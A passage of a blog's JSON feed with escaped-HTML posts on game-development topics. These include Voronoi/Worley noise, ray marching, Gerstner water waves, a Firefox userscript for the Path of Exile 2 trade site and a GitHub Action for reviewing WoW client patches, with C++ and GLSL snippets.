graphics card, on my machine it runs at the full 60 fps. The \u003Ccode\u003E\u0026lt;\u003C\/code\u003E is strict, so on exactly equal distances the smaller index wins. A test covers it.\u003C\/p\u003E\n\u003Cp\u003EThe \u003Ccode\u003Ez\u003C\/code\u003E in the uniform is a stable id. A cell\u0026#039;s color comes from a hash of that id and not from the index, otherwise every color jumps when you delete a point and the indices shift.\u003C\/p\u003E\n\u003Cp\u003EThe points are moved on the CPU, in fixed steps with the accumulator from \u003Ca href=\u0022\/en\/blog\/update-loop\u0022\u003EUpdate Loop\u003C\/a\u003E, 60 per second. They bounce off the walls. \u003Ccode\u003Ebounce()\u003C\/code\u003E folds the position into the range like a ball between two walls:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline float bounce(float x, float size, bool\u0026amp; flipped) {\n    const float period \u0026#61; 2.0F * size;\n    flipped \u0026#61; (static_cast\u0026lt;long long\u0026gt;(std::floor(x \/ size)) % 2) !\u0026#61; 0;\n    float m \u0026#61; std::fmod(x, period);\n    if (m \u0026lt; 0.0F) m \u0026#43;\u0026#61; period;\n    return m \u0026gt; size ? period - m : m;\n}\n\u003C\/pre\u003E\n\u003Cp\u003EAfter an odd number of wall hits the direction is reversed. Even a step of 1000 units in a box of size 10 ends up inside, the test checks it.\u003C\/p\u003E\n\u003Ch2\u003EBorder: distance instead of difference\u003C\/h2\u003E\n\u003Cp\u003EOn the edge between two cells \u003Ccode\u003Ed2 - d1\u003C\/code\u003E is 0. Turning that into a line is the cheap way, but the difference does not grow at the same speed everywhere. On the axis through both points \u003Ccode\u003E(d2 - d1) \/ 2\u003C\/code\u003E is exactly the distance to the edge, off the axis it is not. For the points (0,0) and (4,0) and the pixel (1,3) the difference gives 0.54, the real distance to the bisector is 1.0. Far from the points the line gets thick and ends in wedges. Switch \u003Ccode\u003Eexact\u003C\/code\u003E off in the demo and you can see it.\u003C\/p\u003E\n\u003Cp\u003EThe exact border distance is the smallest distance to the perpendicular bisectors between your own point and all the others. That is a second loop, twice the iterations, and the line gets the same thickness everywhere:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eedge \u0026#61; min(edge, dot(0.5 * (a \u0026#43; b) - p, b - a) \/ length(b - a));\n\u003C\/pre\u003E\n\u003Ch2\u003EOther metrics\u003C\/h2\u003E\n\u003Cp\u003EThe metric is just the distance function. Manhattan adds the axis distances, Chebyshev takes the larger one. On the 3-4-5 triangle: Euclidean 5, Manhattan 7, Chebyshev 4. The cells get angular.\u003C\/p\u003E\n\u003Cp\u003ETrouble is: the bisector is no longer a straight line there, the formula above does not fit, \u003Ccode\u003Eexact\u003C\/code\u003E is greyed out and the edge stays at \u003Ccode\u003E(d2 - d1) \/ 2\u003C\/code\u003E. With Manhattan the bisector can even be an area. If two points sit on a diagonal, say (0,0) and (4,4), every pixel behind them has the same Manhattan distance to both. The test checks four such pixels. The dark patches in the demo are these tie areas.\u003C\/p\u003E\n\u003Ch2\u003ELloyd relaxation\u003C\/h2\u003E\n\u003Cp\u003ERandom points make some cells fat and some tiny. Lloyd tidies up: every point moves to the centroid of its cell. The CPU does that on a coarse grid of 120 by 54 fields. Every field belongs to the nearest point, every point gets the mean of its fields:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst int k \u0026#61; nearest(sites, center, metric).first;\nsums[k].x \u0026#43;\u0026#61; center.x;  sums[k].y \u0026#43;\u0026#61; center.y;  \u0026#43;\u0026#43;sums[k].count;\n\u003C\/pre\u003E\n\u003Cp\u003ETwo points at (4,5) and (6,5) in a 10 by 10 area move apart to (2.5; 5) and (7.5; 5) and stay there, worked out by hand and in the test. The demo shows the mean distance of the points to their cell centers in the top left. After four clicks on \u003Ccode\u003Erelax\u003C\/code\u003E it dropped from 22 to 11 pixels on my machine, even though the points kept drifting meanwhile.\u003C\/p\u003E\n\u003Ch2\u003EFortune, Delaunay or just try everything\u003C\/h2\u003E\n\u003Cp\u003EBrute force fits when you want to know per pixel who it belongs to and the points move. If you need the cells as polygons, for navigation, collision or fragments as meshes, you use the Fortune sweep (O(n log n)) or a Delaunay triangulation. Its triangles show which cells are neighbors, the circumcenters are the cell corners. With hundreds of points the per-pixel loop gets expensive, and Jump Flooding helps.\u003C\/p\u003E\n\u003Ch2\u003EWorley: no point list\u003C\/h2\u003E\n\u003Cp\u003EThe Worley mode has no list. The plane is a lattice, every lattice cell owns exactly one point, and an integer hash of the cell coordinates decides where it sits. A pixel only looks at the 3 by 3 cells around it:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Efor (int j \u0026#61; -1; j \u0026lt;\u0026#61; 1; j\u0026#43;\u0026#43;) {\n    for (int i \u0026#61; -1; i \u0026lt;\u0026#61; 1; i\u0026#43;\u0026#43;) {\n        ivec2 cell \u0026#61; c \u0026#43; ivec2(i, j);\n        vec2 f \u0026#61; vec2(cell) \u0026#43; featureOffset(hashCell(cell), uTime);\n        float d \u0026#61; metricDist(f, q);\n        if (d \u0026lt; f1) { f2 \u0026#61; f1; f1 \u0026#61; d; owner \u0026#61; cell; }\n        else if (d \u0026lt; f2) { f2 \u0026#61; d; }\n    }\n}\n\u003C\/pre\u003E\n\u003Cp\u003EThat costs the same per pixel no matter how far you zoom out. The mouse wheel zooms, dragging pans. F1 is the distance to the nearest point, F2 to the second nearest, and \u003Ccode\u003EF2 - F1\u003C\/code\u003E gives the edges again.\u003C\/p\u003E\n\u003Cp\u003EWhy are 9 cells enough? The point of the own cell is at most \u221a2 away, which is the bound in the test. It is not strictly guaranteed as long as points may sit right at the cell border. Mine stay between 0.15 and 0.85 of the cell, plus a wobble of 0.15. I also measured it: 20,000 random points, F1 from 3 by 3 and from 5 by 5 cells, not a single difference.\u003C\/p\u003E\n\u003Ch2\u003EPitfalls\u003C\/h2\u003E\n\u003Cp\u003EThe hash is PCG, with the same constants in C\u0026#43;\u0026#43; and GLSL. The test values (\u003Ccode\u003Epcg(0)\u003C\/code\u003E, \u003Ccode\u003EhashCell(-1, 2, 7)\u003C\/code\u003E and a few more) were cross-checked with an independent Python version. Negative cell coordinates go through \u003Ccode\u003Euint(int)\u003C\/code\u003E the same way in both languages. I did not compare CPU and GPU pixel by pixel.\u003C\/p\u003E\n\u003Cp\u003EThe points wobble with a sine of the time. The time is reset at 20\u03c0, where both frequencies repeat, so the sine stays accurate on the GPU.\u003C\/p\u003E\n\u003Ch2\u003EWhat it is good for\u003C\/h2\u003E\n\u003Cp\u003EShattering: scatter points on a pane, the cells are the shards. Biomes and countries: spread seeds, every field takes the type of the nearest seed, Lloyd evens the regions out. Map generation: cells as provinces or rooms. Procedural textures: cell noise as stone, skin or water light, without an image file.\u003C\/p\u003E\n\u003Cp\u003EYou can find the code in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-voronoi\/voronoi\u0022\u003Evoronoi\u003C\/a\u003E. The project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n","date_published":"2026-10-16T06:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/ray-marching","url":"https:\/\/malura.de\/en\/blog\/ray-marching","title":"Ray marching","content_html":"\u003Cp\u003EShadertoy has scenes with shadows, reflections and fog, and there is not a single triangle in the source. I wanted to know how that works. You need one function that tells you, for every point in space, how far away the nearest surface is. Almost everything else falls out of that.\u003C\/p\u003E\n\u003Cp\u003E[[demo:ray-marching]]\u003C\/p\u003E\n\u003Cp\u003EDrag to orbit the camera, scroll to zoom. A sphere, a rounded box and a torus float above the floor and merge when they meet. The \u003Ccode\u003Esteps\u003C\/code\u003E chip swaps the picture for the number of steps per pixel, \u003Ccode\u003Eblend k\u003C\/code\u003E sets how softly the shapes run into each other, and \u003Ccode\u003Emax steps\u003C\/code\u003E is the step budget.\u003C\/p\u003E\n\u003Ch2\u003EThe whole idea in one loop\u003C\/h2\u003E\n\u003Cp\u003EEvery pixel sends a ray out of the camera. At its current point the shader asks the scene for the distance to the nearest surface and walks exactly that far. Then it asks again.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Efloat t \u0026#61; 0.0;\nfor (int i \u0026#61; 0; i \u0026lt; uMaxSteps; i\u0026#43;\u0026#43;) {\n    float d \u0026#61; map(ro \u0026#43; rd * t);\n    if (d \u0026lt; HIT_EPS \u0026#43; HIT_EPS_SLOPE * t) return t;   \/\/ hit\n    t \u0026#43;\u0026#61; d;\n    if (t \u0026gt; TMAX) return -1.0;                       \/\/ too far away\n}\nreturn -1.0;                                         \/\/ out of steps\n\u003C\/pre\u003E\n\u003Cp\u003EThis is safe because the distance is the radius of the largest sphere around the point that is guaranteed to be empty. A step of exactly that length cannot skip anything. The test shows it nicely: a sphere of radius 1 sits at z \u0026#61; 5, the ray starts at the origin. The first call returns 4, the ray is at the surface, the second call returns 0. Two calls, done. A ray at x \u0026#61; 0.995 skims just inside the silhouette of the same sphere and needs 28 steps, because every distance is tiny.\u003C\/p\u003E\n\u003Ch2\u003EShapes are formulas\u003C\/h2\u003E\n\u003Cp\u003EA sphere is the length of the vector minus the radius. The torus is hardly more: first the distance to the ring in the xz plane, then the distance to the tube.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline float sdSphere(Vec3 p, float radius) { return length(p) - radius; }\n\ninline float sdTorus(Vec3 p, float ring, float tube) {\n    const float qx \u0026#61; std::sqrt(p.x * p.x \u0026#43; p.z * p.z) - ring;\n    return std::sqrt(qx * qx \u0026#43; p.y * p.y) - tube;\n}\n\u003C\/pre\u003E\n\u003Cp\u003EInside, the values are negative. The test checks that with numbers I can work out by hand: a sphere of radius 1 at distance 3 gives 2, at the center -1. For the box it matters whether the nearest point is on a face, an edge or a corner, which gives 2, the square root of 2 and the square root of 3.\u003C\/p\u003E\n\u003Cp\u003EMerging is done by a function that gives a soft transition instead of \u003Ccode\u003Emin(a, b)\u003C\/code\u003E:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline float smin(float a, float b, float k) {\n    if (k \u0026lt;\u0026#61; 0.0F) return std::fmin(a, b);\n    const float h \u0026#61; std::fmax(k - std::fabs(a - b), 0.0F) \/ k;\n    return std::fmin(a, b) - h * h * k * 0.25F;\n}\n\u003C\/pre\u003E\n\u003Cp\u003EIf the two values are further apart than \u003Ccode\u003Ek\u003C\/code\u003E, you get the normal minimum. Otherwise the result dips below it by up to \u003Ccode\u003Ek \/ 4\u003C\/code\u003E, which makes the bulge where sphere and torus meet. The test checks exactly these bounds on a grid, and \u003Ccode\u003Esmin(1, 1, 1)\u003C\/code\u003E has to be 0.75. With \u003Ccode\u003Eblend k\u003C\/code\u003E at 0.0 it is the hard minimum again.\u003C\/p\u003E\n\u003Ch2\u003EHeatmap\u003C\/h2\u003E\n\u003Cp\u003EThe \u003Ccode\u003Esteps\u003C\/code\u003E chip colors every pixel by its step count, from paper over teal to orange at 48. Dark means the budget ran out before the ray got anywhere.\u003C\/p\u003E\n\u003Cp\u003EIn the middle of a surface it takes a few steps. At silhouettes it turns orange, because the ray crawls along the surface there. The floor towards the horizon becomes an orange band for the same reason. With 64 steps a thin dark line stays at the horizon, with 128 it disappears, with 16 the floor breaks off as a circle and the rest turns into sky.\u003C\/p\u003E\n\u003Ch2\u003EShadows and occlusion come for free\u003C\/h2\u003E\n\u003Cp\u003EThe normal is the gradient of the field. The shader takes four lookups on the corners of a tetrahedron, which needs fewer calls than six lookups along the axes. The same field gives the shadow: from the hit point a second ray runs towards the light, and on the way the shader remembers the smallest ratio of distance to the field over distance traveled.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Efloat res \u0026#61; 1.0;\nfloat t \u0026#61; 0.02;\nfor (int i \u0026#61; 0; i \u0026lt; 40; i\u0026#43;\u0026#43;) {\n    float d \u0026#61; map(ro \u0026#43; rd * t);\n    res \u0026#61; min(res, 8.0 * d \/ t);\n    t \u0026#43;\u0026#61; clamp(d, 0.02, 0.5);\n    if (res \u0026lt; 0.001 || t \u0026gt; 12.0) break;\n}\n\u003C\/pre\u003E\n\u003Cp\u003EA ray that just passes a sphere gets a value between 0 and 1, and that value becomes the soft edge. The 8 controls the hardness. For occlusion the shader samples five points along the normal:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Efor (int i \u0026#61; 0; i \u0026lt; 5; i\u0026#43;\u0026#43;) {\n    float h \u0026#61; 0.01 \u0026#43; 0.12 * float(i) \/ 4.0;\n    occ \u0026#43;\u0026#61; (h - map(p \u0026#43; n * h)) * weight;\n    weight *\u0026#61; 0.95;\n}\n\u003C\/pre\u003E\n\u003Cp\u003EIn the open, the distance at each of these points is exactly as big as the height \u003Ccode\u003Eh\u003C\/code\u003E, so the difference is 0. If something stands next to it, the distance is smaller and the point gets darker. It is still expensive: per pixel that is up to 64 steps, plus up to 40 for the shadow, 4 for the normal and 5 for the occlusion, each with three distance functions.\u003C\/p\u003E\n\u003Ch2\u003EPitfalls\u003C\/h2\u003E\n\u003Cp\u003EA fixed hit threshold is too strict when pixels far away are bigger than the threshold. So I let it grow with the distance (\u003Ccode\u003EHIT_EPS \u0026#43; HIT_EPS_SLOPE * t\u003C\/code\u003E). For a very shallow ray creeping towards the floor from a height of 0.3, I need 39 steps instead of 78. I recomputed those numbers with the same algorithm, the test states that the growing threshold needs fewer steps.\u003C\/p\u003E\n\u003Cp\u003EThe whole trick depends on the function never promising too much distance. The scene keeps that promise, also with the smooth union and the rotations, the test compares 12,000 random point pairs for it. If you stretch a shape or bend the surface with a sine, you overestimate the distance and the ray jumps through thin objects. The usual fix is to shorten the step by a factor below 1.\u003C\/p\u003E\n\u003Cp\u003EAt the horizon the floor costs the most, see the heatmap. The fog (\u003Ccode\u003Eexp(-0.0025 * t * t)\u003C\/code\u003E) makes sure you barely see the gaps there.\u003C\/p\u003E\n\u003Cp\u003EThe upper bound of the loop is a uniform. That works in WebGL2, in GLSL ES 1.00 it would have had to be a constant. For weak graphics cards the \u003Ccode\u003Eres\u003C\/code\u003E chip renders into a texture half the size and scales it up. I measured 60 frames per second on an Apple GPU, and with SwiftShader (pure software) 34 at 960 by 540 and 60 again at half the resolution. There is no anti-aliasing, the edges are stair-stepped.\u003C\/p\u003E\n\u003Cp\u003EYou can find the code in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-ray-marching\/ray-marching\u0022\u003Eray-marching\u003C\/a\u003E. The project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n","date_published":"2026-10-09T06:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/poe2-trade-monkey-the-chrome-trade-extensions-as-a-userscript-for-firefox","url":"https:\/\/malura.de\/en\/blog\/poe2-trade-monkey-the-chrome-trade-extensions-as-a-userscript-for-firefox","title":"PoE2 Trade Monkey: the Chrome trade extensions as a userscript for Firefox","content_html":"\u003Cp\u003EIf you trade seriously in Path of Exile 2, you end up with a browser extension for the trade site sooner or later. Better Trading, TradeUX and a dozen others add bookmarks, history, prices in divine and a better layout. Almost all of them exist only for Chrome. I use Firefox and did not want to switch browsers just to trade. So I built the whole thing as a userscript: \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/poe2-trade-monkey\u0022\u003EPoE2 Trade Monkey\u003C\/a\u003E. It runs in Violentmonkey, so it works in any browser that has extensions.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Ch2\u003EWhat it does\u003C\/h2\u003E\n\u003Cp\u003EA sidebar on the right matches the look of the trade site. It holds bookmarks in folders with currency or ascendancy icons, a history of recent searches and pinned items. The search form gets a quick filter bar for the things you need all the time: corrupted, fractured, desecrated, item level, quality, rarity. Together with Search and Clear it sticks to the bottom of the screen while you scroll through the filters.\u003C\/p\u003E\n\u003Cp\u003EIn the results, the mods you filter for are highlighted. Every mod gets a plus and a minus that add it as a filter or exclude it. Identical listings from the same seller at the same price are grouped, and under every price you see its value in divine or exalted, based on poe.ninja rates. Every feature can be switched off on its own.\u003C\/p\u003E\n\u003Cp\u003E[[img:2]]\u003C\/p\u003E\n\u003Ch2\u003EBookmarks that work in every new league\u003C\/h2\u003E\n\u003Cp\u003EThis was the real reason for the project: I want to set up my searches once and click them again next league. With Better Trading, saved searches expired after a few weeks because the extension only kept a short search id that GGG eventually cleans up.\u003C\/p\u003E\n\u003Cp\u003EWhile digging into the site I found that trade2 now works differently. The search id in the URL is the full search itself: the request JSON, gzip-compressed and base64-encoded. The league is not part of it. The same id opens exactly the same search in Standard, Runes of Aldur or Forbidden Rites. So a bookmark only stores the type and the id, and when you open it the script puts in the league you are playing right now. Because the search can be decoded from the id, the script can also check whether all stats of a search still exist in the current league.\u003C\/p\u003E\n\u003Cp\u003E[[img:3]]\u003C\/p\u003E\n\u003Cp\u003EPinned items remember their search too. If you kept searching after pinning something, one click takes you back to the search it came from.\u003C\/p\u003E\n\u003Cp\u003E[[img:4]]\u003C\/p\u003E\n\u003Ch2\u003EUnder the hood\u003C\/h2\u003E\n\u003Cp\u003EThe trade site is two worlds. The search form is a Vue 2 app with Vuex, the result list a separate Vue 3 app. A userscript runs in a sandbox and only reaches the page\u0026#039;s state in roundabout ways, in Firefox also behind so-called Xray wrappers. That is why the script injects a small piece of code straight into the page on load. It listens to the searches the page sends and the results it loads, and it can run Vuex mutations. When the plus next to a mod sets a filter, it uses exactly the mutation the form uses itself. That does not depend on the site\u0026#039;s language and is sturdier than typing into dropdowns.\u003C\/p\u003E\n\u003Cp\u003EIt was important to me that the script never does anything you would not have done yourself. It sends no searches of its own, does not poll the trade API in the background and never clicks whisper or \u0026#34;Travel to Hideout\u0026#34;. It only works with the data the page loads anyway.\u003C\/p\u003E\n\u003Ch2\u003EBuilt with agents, tested without Cloudflare\u003C\/h2\u003E\n\u003Cp\u003EI built it in one day together with Claude Code. It started with four research agents that took apart Better Trading, TradeUX, every other trade tool and the site\u0026#039;s internals. Then I laid down the foundation myself and had the thirteen features built in two waves of five agents, each in its own folder so nobody overwrote anybody else\u0026#039;s files.\u003C\/p\u003E\n\u003Cp\u003EThe biggest obstacle was not the code but Cloudflare. The trade site needs a login and blocks automated browsers. So I started a normal Chrome with its own profile, logged in and attached Playwright only through the debug port. That worked well until too many reloads in a short time got me stuck in an ever longer Cloudflare check. Since then almost everything runs against a replica of the site: the real API responses and the real CSS from the CDN, only the server is missing. The Playwright tests and the screenshots for design changes run there, and I only need the real site for one short pass at the end.\u003C\/p\u003E\n\u003Ch2\u003EInstall\u003C\/h2\u003E\n\u003Cp\u003EInstall Violentmonkey for Firefox, then open \u003Ca href=\u0022https:\/\/raw.githubusercontent.com\/maluramichael\/poe2-trade-monkey\/master\/dist\/poe2-trade-monkey.user.js\u0022\u003Ethe script\u003C\/a\u003E and confirm. Updates arrive on their own. The code is MIT licensed on \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/poe2-trade-monkey\u0022\u003EGitHub\u003C\/a\u003E.\u003C\/p\u003E\n\u003Cp\u003EI built something for the campaign as well: the \u003Ca href=\u0022https:\/\/poe2speedrun.malura.de\/\u0022\u003EPoE2 speedrun guide\u003C\/a\u003E is a checklist for the tablet next to the game, with act times, every quest and a reference section.\u003C\/p\u003E\n","date_published":"2026-10-05T18:45:12+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/3d-water-waves","url":"https:\/\/malura.de\/en\/blog\/3d-water-waves","title":"3D water waves","content_html":"\u003Cp\u003EIn the \u003Ca href=\u0022\/en\/blog\/2d-water-ripples\u0022\u003E2D post\u003C\/a\u003E the CPU simulated the water step by step, every cell asking its neighbours. For a surface you look across all the way to the horizon in 3D, that gets expensive fast. So nothing is simulated here. The height at every point is a formula that only depends on position and time: six waves, summed up, evaluated in the vertex shader.\u003C\/p\u003E\n\u003Cp\u003E[[demo:water-waves-3d]]\u003C\/p\u003E\n\u003Cp\u003EDrag to orbit the camera, the wheel zooms. The chips set the wind to calm, breeze or storm, and the waves grow smoothly into the new strength. Wireframe shows the grid underneath, foam switches the foam off. The orange buoy sits on the water and leans with the slope. The CPU computes its position, the GPU draws the water, and both have the same formula in their heads.\u003C\/p\u003E\n\u003Ch2\u003EWhy Gerstner instead of sine\u003C\/h2\u003E\n\u003Cp\u003EA sum of sine waves gives hills that are as round on top as at the bottom. Real water has sharp crests and flat troughs. A Gerstner wave therefore pushes every point of the surface sideways in the direction of travel as well. Each point keeps its rest position and runs on an ellipse, at a steepness of Q \u0026#61; 1 it is a circle. In the demo Q is between 0.72 and 1. Under a crest the points move together, in a trough they are pulled apart.\u003C\/p\u003E\n\u003Cp\u003EThe grid has 201 by 201 vertices, so 80,000 triangles. It is uploaded once and never touched again, the vertex data only holds the rest position (x, z). The rest happens every frame in the shader:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Efloat theta \u0026#61; k * dot(d, aRest) - uWaveB[i].x;\nfloat s \u0026#61; sin(theta);\nfloat c \u0026#61; cos(theta);\np \u0026#43;\u0026#61; vec3(q * a * d.x * c, a * s, q * a * d.y * c);\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Ccode\u003Ed\u003C\/code\u003E is the direction of travel, \u003Ccode\u003Ek\u003C\/code\u003E the wave number (2\u03c0 over the wavelength), \u003Ccode\u003Ea\u003C\/code\u003E the amplitude, \u003Ccode\u003Eq\u003C\/code\u003E the steepness. Six waves from 22 down to 3 metres, from different directions.\u003C\/p\u003E\n\u003Ch2\u003ELong waves run faster\u003C\/h2\u003E\n\u003Cp\u003EIn deep water the frequency depends on the wave number: \u03c9 \u0026#61; \u221a(g\u00b7k), and the phase speed is c \u0026#61; \u03c9\/k. The 22 metre wave takes 3.75 seconds per period and runs at 5.9 m\/s, the 3 metre wave manages 2.2 m\/s. The test has a hand-computed case for it: at k \u0026#61; 1\/g, \u03c9 is exactly 1.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline float dispersion(float k) { return std::sqrt(kGravity * std::max(k, 0.0F)); }\n\ninline double timePhase(const Wave\u0026amp; w, double t) {\n    double p \u0026#61; std::fmod(static_cast\u0026lt;double\u0026gt;(omega(w)) * t, kTwoPi);\n    if (p \u0026lt; 0.0) p \u0026#43;\u0026#61; kTwoPi;\n    return p;\n}\n\u003C\/pre\u003E\n\u003Cp\u003EThe second function is a trap. The CPU collects time from the frame times, like in \u003Ca href=\u0022\/en\/blog\/update-loop\u0022\u003EUpdate Loop\u003C\/a\u003E, with a clamp at 0.25 seconds against stalls, and pause adds nothing. What goes to the shader is \u03c9\u00b7t, reduced to one turn and computed in double. A float at \u03c9\u00b7t around 100,000 (with \u03c9 \u0026#61; 3 that is a good nine hours) only has 0.008 radians of resolution, and the waves would jitter.\u003C\/p\u003E\n\u003Ch2\u003ENormals from the derivatives\u003C\/h2\u003E\n\u003Cp\u003EFor the normal you could take differences between neighbouring points. The derivatives with respect to x and z are as simple as the formula itself though, and fall out of the same loop iteration:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Efloat ka \u0026#61; k * a;\nfloat sharp \u0026#61; q * ka;\ntx \u0026#43;\u0026#61; vec3(-sharp * d.x * d.x * s, ka * d.x * c, -sharp * d.x * d.y * s);\ntz \u0026#43;\u0026#61; vec3(-sharp * d.x * d.y * s, ka * d.y * c, -sharp * d.y * d.y * s);\n\/\/ after the loop\nvec3 n \u0026#61; cross(tz, tx);\nvJacobian \u0026#61; n.y;\n\u003C\/pre\u003E\n\u003Cp\u003EThe y of the unnormalised cross product is the Jacobian determinant of the horizontal shift. On flat water it is 1, under a crest it drops to 1 \u2212 Q\u00b7k\u00b7A, in a trough it rises to 1 \u0026#43; Q\u00b7k\u00b7A. Where the surface is squeezed together is where the foam belongs: \u003Ccode\u003E1.0 - smoothstep(0.30, 0.80, vJacobian)\u003C\/code\u003E, plus noise in rest coordinates so the foam travels with the water. The test compares the analytic normal with central differences at 900 random points, the deviation stays below 0.004.\u003C\/p\u003E\n\u003Cp\u003EThe colour comes from Fresnel after Schlick: look at the water at a grazing angle and you see the sky mirrored, look steeply down and you see the teal below.\u003C\/p\u003E\n\u003Ch2\u003EThe steepness limit\u003C\/h2\u003E\n\u003Cp\u003EPick Q too large and the surface folds over itself. The criterion is S \u0026#61; Q\u00b7k\u00b7A: as long as the sum over all waves is at most 1, the Jacobian determinant does not go negative. The test shows it on a single wave. At S \u0026#61; 0.9 the shifted x position runs strictly upwards, at S \u0026#61; 1.5 it runs backwards in places, and the normal points down at the crest.\u003C\/p\u003E\n\u003Cp\u003EThe limit is generous. With six waves from different directions J only drops to 0.26 in the storm (S \u0026#61; 0.96) in my test scan. At double the steepness (S \u0026#61; 1.91) the surface really does fold, at 1.53 J was still at 0.002. The sum is shown in the top left of the demo.\u003C\/p\u003E\n\u003Ch2\u003EA buoy that floats along\u003C\/h2\u003E\n\u003Cp\u003EThe buoy is moored at a fixed world point, but the formula works in rest coordinates, and the points travel sideways, in the storm by up to 1.7 metres. A plain \u003Ccode\u003Edisplace(x, z)\u003C\/code\u003E therefore returns the height at the wrong place. You have to invert the shift, and Newton\u0026#039;s method on the 2\u00d72 map is enough for that. Its matrix is already there, it is the tangents from above:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Efor (int i \u0026#61; 0; i \u0026lt; iterations; \u0026#43;\u0026#43;i) {\n    const Frame f \u0026#61; frame(waves, r.x, r.z, t);\n    const float ex \u0026#61; f.position.x - worldX;\n    const float ez \u0026#61; f.position.z - worldZ;\n    if (std::fabs(ex) \u0026lt; 1e-6F \u0026amp;\u0026amp; std::fabs(ez) \u0026lt; 1e-6F) break;\n    if (std::fabs(f.jacobian) \u0026lt; 1e-3F) break;\n    r.x -\u0026#61; (f.tangentZ.z * ex - f.tangentZ.x * ez) \/ f.jacobian;\n    r.z -\u0026#61; (f.tangentX.x * ez - f.tangentX.z * ex) \/ f.jacobian;\n}\n\u003C\/pre\u003E\n\u003Cp\u003EAt the point it finds, the same function gives position and normal, and the normal turns the buoy. The test checks at 300 points and three wind strengths that the shifted position ends up at most 2 millimetres from the mooring spot. A ship would be handled the same way, sampled at several points.\u003C\/p\u003E\n\u003Ch2\u003EVertex versus fragment\u003C\/h2\u003E\n\u003Cp\u003EThe shader computes sin and cos six times per vertex, with 40,401 vertices. In the fragment shader that would be a good twelve times as many evaluations at 960\u00d7540 pixels. In return the normals are as fine as the grid, 0.5 metres. The 3 metre wave has six vertices per wavelength, which is the lower limit.\u003C\/p\u003E\n\u003Ch2\u003EMore pitfalls\u003C\/h2\u003E\n\u003Cp\u003EWaves hide waves, so the scene needs a depth buffer. The window helper of the series asks for none, so here the demo creates its own window with 24 bits of depth and 4x MSAA. The camera keeps at least 3 metres of height because the storm crests reach 2.6 metres. The uniform arrays in the shader have a fixed size, eight waves is the maximum.\u003C\/p\u003E\n\u003Cp\u003EThe code is in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-water-waves-3d\/water-waves-3d\u0022\u003Ewater-waves-3d\u003C\/a\u003E. All demos of the series are collected in the project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E.\u003C\/p\u003E\n","date_published":"2026-10-02T06:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/opening-wow-client-patches-in-a-pull-request","url":"https:\/\/malura.de\/en\/blog\/opening-wow-client-patches-in-a-pull-request","title":"Opening WoW client patches in a pull request","content_html":"\u003Cp\u003EA couple of my AzerothCore modules need client patches. When I unlock new race\/class combinations like Gnome Priest, for example, the server accepts them fine, but the 3.3.5a client only offers them in the character creation screen if I hand it a patched \u003Ccode\u003ECharBaseInfo.dbc\u003C\/code\u003E. Such a patch is an MPQ archive, \u003Ccode\u003Epatch-*.MPQ\u003C\/code\u003E, with a few DBC files inside.\u003C\/p\u003E\n\u003Cp\u003EReviewing one of those was the same fiddling every time: download the MPQ, unpack it with a tool, load the DBC into a viewer, diff it against the standard version by hand. Way too much manual work for one changed row.\u003C\/p\u003E\n\u003Ch2\u003EWhat is inside such a patch\u003C\/h2\u003E\n\u003Cp\u003EMPQ is Blizzard\u0026#039;s old archive format, basically a container with a hash table and a block table. The interesting part is what sits inside: DBC files. A DBC is a plain binary table, fixed header, fixed record size, a string block at the end. No schema in the file itself, you have to know the columns.\u003C\/p\u003E\n\u003Cp\u003EThe most interesting one is \u003Ccode\u003ECharBaseInfo.dbc\u003C\/code\u003E: a tiny table of a race byte and a class byte that tells the client which combinations to offer for selection. \u003Ccode\u003ECharStartOutfit.dbc\u003C\/code\u003E holds the starting gear per race, class and gender. \u003Ccode\u003ESkillRaceClassInfo.dbc\u003C\/code\u003E is the table behind the classic \u0026#34;Undead Paladin can\u0026#039;t use swords\u0026#34;, it hands out weapon and armor skills depending on race and class.\u003C\/p\u003E\n\u003Ch2\u003EThe action\u003C\/h2\u003E\n\u003Cp\u003ESo I built a GitHub Action that automates exactly this path. It checks which \u003Ccode\u003E.MPQ\u003C\/code\u003E files a pull request changes, opens them, reads the file manifest and decodes the known DBCs. The result comes back as a Markdown sticky comment on the PR.\u003C\/p\u003E\n\u003Cp\u003EThe trick that makes it useful is the diff: the decoded \u003Ccode\u003ECharBaseInfo\u003C\/code\u003E is held against the standard WotLK matrix, so newly unlocked combos get highlighted right away instead of me diffing a hundred rows by hand. Item IDs from the StartOutfit link to Wowhead, so you see at a glance what comes out as starting gear.\u003C\/p\u003E\n\u003Ch2\u003EHow to wire it up\u003C\/h2\u003E\n\u003Cp\u003EYou add one 